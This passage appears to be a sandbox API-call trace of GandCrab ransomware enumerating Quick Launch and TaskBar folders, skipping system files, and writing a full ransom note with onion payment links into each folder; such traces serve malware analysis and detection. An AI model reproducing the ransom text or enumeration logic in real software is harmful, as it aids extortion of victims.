lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*" [0054.072] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b8af0 [0054.073] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.073] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.073] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.073] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.073] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0054.073] FindClose (in: hFindFile=0x5b8af0 | out: hFindFile=0x5b8af0) returned 1 [0054.073] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.073] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\\\GDCB-DECRYPT.txt") returned 129 [0054.073] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0054.073] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.073] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0054.074] CloseHandle (hObject=0x504) returned 1 [0054.074] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.074] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\") returned 112 [0054.074] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*" [0054.074] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b89b0 [0054.074] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.075] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.075] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.075] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.075] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.075] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.075] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.075] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\GDCB-DECRYPT.txt" [0054.075] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.075] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\GDCB-DECRYPT.txt") returned 128 [0054.075] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\GDCB-DECRYPT.txt") returned 128 [0054.075] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\GDCB-DECRYPT.txt") returned 128 [0054.075] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\GDCB-DECRYPT.txt") returned 128 [0054.075] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.075] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.075] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.075] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.075] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.075] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.075] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.075] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.075] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.075] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.075] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0054.075] FindClose (in: hFindFile=0x5b89b0 | out: hFindFile=0x5b89b0) returned 1 [0054.075] FindNextFileW (in: hFindFile=0x5b8bf0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.075] lstrcmpW (lpString1="TaskBar", lpString2=".") returned 1 [0054.076] lstrcmpW (lpString1="TaskBar", lpString2="..") returned 1 [0054.076] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0054.076] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0054.076] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.076] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.076] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.076] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.076] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.076] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.076] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned 99 [0054.076] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*" [0054.076] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b87f0 [0054.076] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.076] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.076] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.076] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.076] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.076] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.076] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.076] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" [0054.076] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 110 [0054.076] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0054.076] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.076] lstrcmpW (lpString1="Excel 2016.lnk", lpString2=".") returned 1 [0054.076] lstrcmpW (lpString1="Excel 2016.lnk", lpString2="..") returned 1 [0054.076] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Excel 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk" [0054.076] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned 113 [0054.076] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.076] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.076] lstrcmpW (lpString1="File Explorer.lnk", lpString2=".") returned 1 [0054.076] lstrcmpW (lpString1="File Explorer.lnk", lpString2="..") returned 1 [0054.076] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="File Explorer.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" [0054.076] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned 116 [0054.076] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.076] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.077] lstrcmpW (lpString1="Mozilla Firefox.lnk", lpString2=".") returned 1 [0054.077] lstrcmpW (lpString1="Mozilla Firefox.lnk", lpString2="..") returned 1 [0054.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Mozilla Firefox.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" [0054.077] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned 118 [0054.077] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.077] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.077] lstrcmpW (lpString1="OneNote 2016.lnk", lpString2=".") returned 1 [0054.077] lstrcmpW (lpString1="OneNote 2016.lnk", lpString2="..") returned 1 [0054.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="OneNote 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk" [0054.077] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk") returned 115 [0054.077] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.077] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.077] lstrcmpW (lpString1="Outlook 2016.lnk", lpString2=".") returned 1 [0054.077] lstrcmpW (lpString1="Outlook 2016.lnk", lpString2="..") returned 1 [0054.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Outlook 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk" [0054.077] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk") returned 115 [0054.077] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.077] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.077] lstrcmpW (lpString1="PowerPoint 2016.lnk", lpString2=".") returned 1 [0054.077] lstrcmpW (lpString1="PowerPoint 2016.lnk", lpString2="..") returned 1 [0054.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="PowerPoint 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk" [0054.077] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk") returned 118 [0054.077] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.077] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.077] lstrcmpW (lpString1="Project 2016.lnk", lpString2=".") returned 1 [0054.077] lstrcmpW (lpString1="Project 2016.lnk", lpString2="..") returned 1 [0054.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Project 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk" [0054.077] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk") returned 115 [0054.077] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.077] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.077] lstrcmpW (lpString1="Visio 2016.lnk", lpString2=".") returned 1 [0054.077] lstrcmpW (lpString1="Visio 2016.lnk", lpString2="..") returned 1 [0054.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Visio 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk" [0054.077] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk") returned 113 [0054.077] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.077] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.077] lstrcmpW (lpString1="Word 2016.lnk", lpString2=".") returned 1 [0054.077] lstrcmpW (lpString1="Word 2016.lnk", lpString2="..") returned 1 [0054.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Word 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk" [0054.077] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk") returned 112 [0054.077] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.077] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0054.077] FindClose (in: hFindFile=0x5b87f0 | out: hFindFile=0x5b87f0) returned 1 [0054.077] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.077] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\\\GDCB-DECRYPT.txt") returned 116 [0054.077] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0054.078] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.078] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0054.078] CloseHandle (hObject=0x504) returned 1 [0054.079] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.079] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned 99 [0054.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*" [0054.079] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b8770 [0054.079] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.079] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.079] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.079] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.079] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.079] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.079] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" [0054.079] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.080] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 110 [0054.080] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 110 [0054.080] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 110 [0054.080] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 110 [0054.080] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0054.080] VirtualFree (lpAddress=0x2730000, dwSize=0x0, 